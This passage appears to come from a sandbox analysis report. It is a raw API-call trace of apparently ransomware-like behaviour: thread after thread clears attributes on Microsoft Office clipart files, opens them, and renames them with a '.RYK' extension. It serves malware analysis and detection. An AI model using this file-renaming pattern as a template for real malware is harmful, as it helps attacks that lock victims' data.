	[0259.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3050
	os_tid = 0x3488

	[0258.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG", dwFileAttributes=0x80) returned 0
	[0258.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3051
	os_tid = 0x348c

	[0258.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG", dwFileAttributes=0x80) returned 0
	[0258.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3052
	os_tid = 0x3490

	[0258.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG", dwFileAttributes=0x80) returned 0
	[0258.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3053
	os_tid = 0x3494

	[0258.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG", dwFileAttributes=0x80) returned 0
	[0258.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.674] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3054
	os_tid = 0x3498

	[0258.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG", dwFileAttributes=0x80) returned 0
	[0258.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3055
	os_tid = 0x349c

	[0258.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG", dwFileAttributes=0x80) returned 0
	[0258.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3056
	os_tid = 0x34a0

	[0258.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG", dwFileAttributes=0x80) returned 0
	[0258.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3058
	os_tid = 0x34ac

	[0258.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG", dwFileAttributes=0x80) returned 0
	[0258.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3059
	os_tid = 0x34b0

	[0258.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG", dwFileAttributes=0x80) returned 0
	[0259.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3060
	os_tid = 0x34b4

	[0258.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG", dwFileAttributes=0x80) returned 0
	[0259.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3061
	os_tid = 0x34b8

	[0258.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG", dwFileAttributes=0x80) returned 0
	[0258.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3062
	os_tid = 0x34bc

	[0258.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG", dwFileAttributes=0x80) returned 0
	[0259.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3063
	os_tid = 0x34c0

	[0258.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG", dwFileAttributes=0x80) returned 0
	[0259.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3064
	os_tid = 0x34c4

	[0258.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG", dwFileAttributes=0x80) returned 0
	[0259.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3065
	os_tid = 0x34c8

	[0258.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG", dwFileAttributes=0x80) returned 0
	[0259.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3066
	os_tid = 0x34cc

	[0258.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG", dwFileAttributes=0x80) returned 0
	[0259.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3067
	os_tid = 0x34d0

	[0258.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG", dwFileAttributes=0x80) returned 0
	[0259.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3068
	os_tid = 0x34d4

	[0259.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG", dwFileAttributes=0x80) returned 0
	[0259.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3069
	os_tid = 0x34e4

	[0259.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID", dwFileAttributes=0x80) returned 0
	[0259.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3070
	os_tid = 0x34e8

	[0259.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID", dwFileAttributes=0x80) returned 0
	[0259.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3071
	os_tid = 0x34ec

	[0259.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF", dwFileAttributes=0x80) returned 0
	[0259.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3072
	os_tid = 0x34f0

	[0259.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF", dwFileAttributes=0x80) returned 0
	[0259.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3073
	os_tid = 0x34f4

	[0259.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF", dwFileAttributes=0x80) returned 0
	[0259.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3074
	os_tid = 0x34f8

	[0259.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID", dwFileAttributes=0x80) returned 0
	[0259.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3075
	os_tid = 0x34fc

	[0259.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF", dwFileAttributes=0x80) returned 0
	[0259.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3076
	os_tid = 0x3500

	[0259.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF", dwFileAttributes=0x80) returned 0
	[0259.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
